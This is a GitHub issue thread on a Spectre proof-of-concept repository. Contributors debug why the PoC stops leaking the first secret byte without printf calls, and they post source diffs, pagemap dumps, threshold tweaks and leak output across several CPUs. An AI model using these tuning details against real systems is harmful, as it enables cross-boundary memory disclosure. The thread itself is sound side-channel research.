SpectrePoC
SpectrePoC copied to clipboard
Attack not working without printf
Hi all,
when researching the attack, I found a strange thing. Not sure whether this is the best place for discussion but it seems this is the most recent PoC repository I could find on gh.
What does not work
What I found was that the attack will not work quite right without the initial printf
s before leaking bytes.
Hardware
I tested this on:
- AMD Ryzen 7 3700X (Linux 6.1.0-12-amd64, debian 12)
- Intel Xeon Skylake, IBRS (Linux 6.1.0-12-amd64, debian 12) - at least that is what my cloud provider says ^^
The patch to reconstruct the issue
See the following diff I applied to the original source. I am basically removing all printf
s before finding the first secret byte.
diff --git a/spectre.c b/spectre.c
index 864d12d..2b4bb64 100644
--- a/spectre.c
+++ b/spectre.c
@@ -324,49 +324,8 @@ int main(int argc,
sscanf(argv[3], "%d", &len);
}
- /* Print git commit hash */
- #ifdef GIT_COMMIT_HASH
- printf("Version: commit " GIT_COMMIT_HASH "\n");
- #endif
-
- /* Print cache hit threshold */
- printf("Using a cache hit threshold of %d.\n", cache_hit_threshold);
-
- /* Print build configuration */
- printf("Build: ");
- #ifndef NORDTSCP
- printf("RDTSCP_SUPPORTED ");
- #else
- printf("RDTSCP_NOT_SUPPORTED ");
- #endif
- #ifndef NOMFENCE
- printf("MFENCE_SUPPORTED ");
- #else
- printf("MFENCE_NOT_SUPPORTED ");
- #endif
- #ifndef NOCLFLUSH
- printf("CLFLUSH_SUPPORTED ");
- #else
- printf("CLFLUSH_NOT_SUPPORTED ");
- #endif
- #ifdef INTEL_MITIGATION
- printf("INTEL_MITIGATION_ENABLED ");
- #else
- printf("INTEL_MITIGATION_DISABLED ");
- #endif
- #ifdef LINUX_KERNEL_MITIGATION
- printf("LINUX_KERNEL_MITIGATION_ENABLED ");
- #else
- printf("LINUX_KERNEL_MITIGATION_DISABLED ");
- #endif
-
- printf("\n");
-
- printf("Reading %d bytes:\n", len);
-
/* Start the read loop to read each address */
while (--len >= 0) {
- printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
/* Call readMemoryByte with the required cache hit threshold and
malicious x address. value and score are arrays that are
Applying that patch, the following output is shown:
Success: 0x02=’?’ score=51 (second best: 0x01=’?’ score=23) <<-- This line changes.
Unclear: 0x68=’h’ score=992 (second best: 0x02=’?’ score=813)
Unclear: 0x65=’e’ score=999 (second best: 0x02=’?’ score=861)
Unclear: 0x20=’ ’ score=992 (second best: 0x02=’?’ score=869)
Unclear: 0x4D=’M’ score=987 (second best: 0x02=’?’ score=857)
Unclear: 0x61=’a’ score=989 (second best: 0x02=’?’ score=843)
Unclear: 0x67=’g’ score=998 (second best: 0x02=’?’ score=838)
The first byte cannot be leaked anymore. Removing all printf
s leads to no byte being leaked correctly.
Why?
Currently, I am not sure why that happens. My assumption is that printf
somehow changes state of some pages without which the attack does not work.
For this, I added 1 printf and stopped right before it with GDB. Using pagemap, I dumped the page table and had a look at differences before and after the printf (left side is before the printf).
One can see that amongst having a heap now, some additional libc
pages are present. Calling malloc
instead of printf
does not work and still produces wrong bytes.
4c4
< 0x555555556000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /home/rh/spectre/cache-timing/spectre.out
---
> 0x555555556000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /home/rh/spectre/cache-timing/spectre.out
38a39,71
> 0x555555579000 : soft-dirty 1 file/shared 0 swapped 0 present 1 library [heap]
> 0x55555557a000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555557b000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555557c000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555557d000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555557e000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555557f000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555580000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555581000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555582000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555583000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555584000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555585000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555586000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555587000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555588000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555589000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555558a000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555558b000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555558c000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555558d000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555558e000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555558f000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555590000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555591000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555592000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555593000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555594000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555595000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555596000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555597000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555598000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555599000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
101c134
< 0x7ffff7e09000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
---
> 0x7ffff7e09000 : soft-dirty 1 file/shared 0 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
156,171c189,204
< 0x7ffff7e40000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e41000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e42000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e43000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e44000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e45000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e46000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e47000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e48000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e49000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e4a000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e4b000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e4c000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e4d000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e4e000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e4f000 : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
---
> 0x7ffff7e40000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e41000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e42000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e43000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e44000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e45000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e46000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e47000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e48000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e49000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e4a000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e4b000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e4c000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e4d000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e4e000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
> 0x7ffff7e4f000 : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
I would be glad if someone had an idea why this happens. 😊 Actually I am not sure what internal state this printf changes.
Still leaking the first byte on Windows (though it can be second best).
- Windows 10 22H2 x64
- Intel i3-7100 Kaby Lake
> spectre_x64_II.exe
Success: 0x06=’?’ score=7 (second best: 0x54=’T’ score=1)
Success: 0x06=’?’ score=15 (second best: 0x68=’h’ score=5)
Success: 0x06=’?’ score=7 (second best: 0x65=’e’ score=1)
Success: 0x20=’ ’ score=2
Success: 0x4D=’M’ score=2
...
>spectre_x86_II.exe 90
Success: 0x54=’T’ score=17 (second best: 0x11=’?’ score=6)
Success: 0x68=’h’ score=7 (second best: 0x21=’!’ score=1)
Success: 0x65=’e’ score=2
Success: 0x20=’ ’ score=7 (second best: 0xE9=’?’ score=1)
Success: 0x4D=’M’ score=9 (second best: 0xE9=’?’ score=2)
Success: 0x61=’a’ score=2
Success: 0x67=’g’ score=2
Success: 0x69=’i’ score=2
Success: 0x63=’c’ score=17 (second best: 0x11=’?’ score=6)
Success: 0x20=’ ’ score=2
Success: 0x57=’W’ score=7 (second best: 0x21=’!’ score=1)
Success: 0x6F=’o’ score=2
Success: 0x72=’r’ score=2
Success: 0x64=’d’ score=7 (second best: 0xE9=’?’ score=1)
Success: 0x73=’s’ score=30 (second best: 0x11=’?’ score=15)
...
Tested this on Linux (Kubuntu 23.10 instead of Debian 12) and it seems to depend on hardware and/or threshold value.
Kernel:
$ uname -a
Linux kubuntu 6.5.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 7 01:35:40 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
CPU:
$ cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 158
model name : Intel(R) Core(TM) i3-7100 CPU @ 3.90GHz
stepping : 9
microcode : 0xf4
cpu MHz : 800.029
cache size : 3072 KB
physical id : 0
At first, initial byte is really missed:
$ ./spectre.out
Unclear: 0x03=’?’ score=760 (second best: 0x02=’?’ score=716)
Unclear: 0x68=’h’ score=999 (second best: 0x03=’?’ score=918)
Unclear: 0x65=’e’ score=995 (second best: 0x03=’?’ score=892)
Unclear: 0x20=’ ’ score=997 (second best: 0x03=’?’ score=919)
Unclear: 0x4D=’M’ score=999 (second best: 0x03=’?’ score=912)
Unclear: 0x61=’a’ score=999 (second best: 0x03=’?’ score=912)
...
With threshold set to 100 it works again:
$ ./spectre.out 100
Unclear: 0x54=’T’ score=679 (second best: 0x00=’?’ score=677)
Unclear: 0x68=’h’ score=998 (second best: 0x00=’?’ score=996)
Unclear: 0x65=’e’ score=999 (second best: 0x00=’?’ score=998)
Unclear: 0x20=’ ’ score=999 (second best: 0x00=’?’ score=998)
Unclear: 0x4D=’M’ score=999 (second best: 0x00=’?’ score=996)
Unclear: 0x61=’a’ score=999 (second best: 0x00=’?’ score=996)
...
Then I thought about removing usage of printf (and any output whatsoever) until all leaked data is collected. So I made a change that writes leaked bytes to shared memory. Note that code is not very effective, I just wanted to make it somewhere outside of process' memory, e.g. stack or heap.
23a24,27
> #include <string.h>
> #include <sys/shm.h>
> #include <errno.h>
>
294c298,299
< int len = 40;
---
> const int total_len = 40;
> int len = total_len;
299a305,314
> struct item {
> int score[2];
> uint8_t value[2];
> };
>
> key_t shm_key = 0x1337;
> const int shared_segment_size = sizeof(struct item) * total_len;
> int segment_id;
> char* shared_memory;
>
326a342,369
> size_t malicious_x_0 = malicious_x;
>
> segment_id = shmget(shm_key, shared_segment_size, IPC_CREAT | 0777);
> if(segment_id < 0) {
> fprintf(stderr, "shmget error: %s\n", strerror(errno));
> return 1;
> }
> shared_memory = (char*)shmat(segment_id, 0, 0);
> if(shared_memory == (char*)(-1)) {
> fprintf(stderr, "shmat error: %s\n", strerror(errno));
> return 1;
> }
>
> memset(shared_memory, 0, shared_segment_size);
>
> struct item* pitem = (struct item*)shared_memory;
>
> /* Start the read loop to read each address */
> while (--len >= 0) {
> /* Call readMemoryByte with the required cache hit threshold and
> malicious x address. value and score are arrays that are
> populated with the results.
> */
> readMemoryByte(cache_hit_threshold, malicious_x++, pitem->value, pitem->score);
>
> pitem++;
> }
>
365c408
< printf("Reading %d bytes:\n", len);
---
> pitem = (struct item*)shared_memory;
367,369c410,411
< /* Start the read loop to read each address */
< while (--len >= 0) {
< printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
---
> len = total_len;
> malicious_x = malicious_x_0;
371,375c413,416
< /* Call readMemoryByte with the required cache hit threshold and
< malicious x address. value and score are arrays that are
< populated with the results.
< */
< readMemoryByte(cache_hit_threshold, malicious_x++, value, score);
---
> printf("Reading %d bytes:\n", len);
> while (--len>=0) {
> printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
> malicious_x++;
378,380c419,421
< printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
< printf("0x%02X=’%c’ score=%d ", value[0],
< (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
---
> printf("%s: ", (pitem->score[0] >= 2 * pitem->score[1] ? "Success" : "Unclear"));
> printf("0x%02X=’%c’ score=%d ", pitem->value[0],
> (pitem->value[0] > 31 && pitem->value[0] < 127 ? pitem->value[0] : '?'), pitem->score[0]);
382,384c423,425
< if (score[1] > 0) {
< printf("(second best: 0x%02X=’%c’ score=%d)", value[1],
< (value[1] > 31 && value[1] < 127 ? value[1] : '?'), score[1]);
---
> if (pitem->score[1] > 0) {
> printf("(second best: 0x%02X=’%c’ score=%d)", pitem->value[1],
> (pitem->value[1] > 31 && pitem->value[1] < 127 ? pitem->value[1] : '?'), pitem->score[1]);
387a429
> pitem++;
388a431,434
>
> shmdt(shared_memory);
> shmctl(segment_id, IPC_RMID, NULL);
>
The result doesn't work with default threshold of 80 (because not a single printf was called) and works almost completely with the value of 100:
$ ./spectre.shmem 100
Using a cache hit threshold of 100.
Build: RDTSCP_SUPPORTED MFENCE_SUPPORTED CLFLUSH_SUPPORTED INTEL_MITIGATION_DISABLED LINUX_KERNEL_MITIGATION_DISABLED
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffffdfe8... Unclear: 0x54=’T’ score=986 (second best: 0x03=’?’ score=882)
Reading at malicious_x = 0xffffffffffffdfe9... Unclear: 0x68=’h’ score=999 (second best: 0x00=’?’ score=996)
Reading at malicious_x = 0xffffffffffffdfea... Unclear: 0x65=’e’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffdfeb... Unclear: 0x20=’ ’ score=999 (second best: 0x01=’?’ score=912)
Reading at malicious_x = 0xffffffffffffdfec... Unclear: 0x4D=’M’ score=999 (second best: 0x00=’?’ score=994)
Reading at malicious_x = 0xffffffffffffdfed... Unclear: 0x61=’a’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffdfee... Unclear: 0x67=’g’ score=999 (second best: 0x01=’?’ score=912)
Reading at malicious_x = 0xffffffffffffdfef... Unclear: 0x69=’i’ score=999 (second best: 0x01=’?’ score=904)
Reading at malicious_x = 0xffffffffffffdff0... Unclear: 0x63=’c’ score=999 (second best: 0x01=’?’ score=917)
Reading at malicious_x = 0xffffffffffffdff1... Unclear: 0x20=’ ’ score=999 (second best: 0x00=’?’ score=997)
Reading at malicious_x = 0xffffffffffffdff2... Unclear: 0x57=’W’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffdff3... Unclear: 0x6F=’o’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffdff4... Unclear: 0x72=’r’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffdff5... Unclear: 0x64=’d’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffdff6... Unclear: 0x73=’s’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffdff7... Unclear: 0x20=’ ’ score=995 (second best: 0x00=’?’ score=989)
Reading at malicious_x = 0xffffffffffffdff8... Unclear: 0x00=’?’ score=999 (second best: 0x61=’a’ score=998)
Reading at malicious_x = 0xffffffffffffdff9... Unclear: 0x72=’r’ score=999 (second best: 0x00=’?’ score=957)
Reading at malicious_x = 0xffffffffffffdffa... Unclear: 0x65=’e’ score=999 (second best: 0x01=’?’ score=896)
Reading at malicious_x = 0xffffffffffffdffb... Unclear: 0x20=’ ’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffdffc... Unclear: 0x53=’S’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffdffd... Unclear: 0x71=’q’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffdffe... Unclear: 0x75=’u’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffdfff... Unclear: 0x65=’e’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffe000... Unclear: 0x61=’a’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffe001... Unclear: 0x6D=’m’ score=999 (second best: 0x00=’?’ score=997)
Reading at malicious_x = 0xffffffffffffe002... Unclear: 0x69=’i’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffe003... Unclear: 0x73=’s’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffe004... Unclear: 0x68=’h’ score=999 (second best: 0x01=’?’ score=912)
Reading at malicious_x = 0xffffffffffffe005... Unclear: 0x20=’ ’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffe006... Unclear: 0x4F=’O’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffe007... Unclear: 0x73=’s’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffe008... Unclear: 0x73=’s’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffe009... Unclear: 0x69=’i’ score=999 (second best: 0x01=’?’ score=886)
Reading at malicious_x = 0xffffffffffffe00a... Unclear: 0x66=’f’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffe00b... Unclear: 0x72=’r’ score=999 (second best: 0x00=’?’ score=998)
Reading at malicious_x = 0xffffffffffffe00c... Unclear: 0x61=’a’ score=999 (second best: 0x00=’?’ score=999)
Reading at malicious_x = 0xffffffffffffe00d... Unclear: 0x67=’g’ score=999 (second best: 0x00=’?’ score=998)
Reading at malicious_x = 0xffffffffffffe00e... Unclear: 0x65=’e’ score=999 (second best: 0x01=’?’ score=916)
Reading at malicious_x = 0xffffffffffffe00f... Unclear: 0x2E=’.’ score=999 (second best: 0x00=’?’ score=999)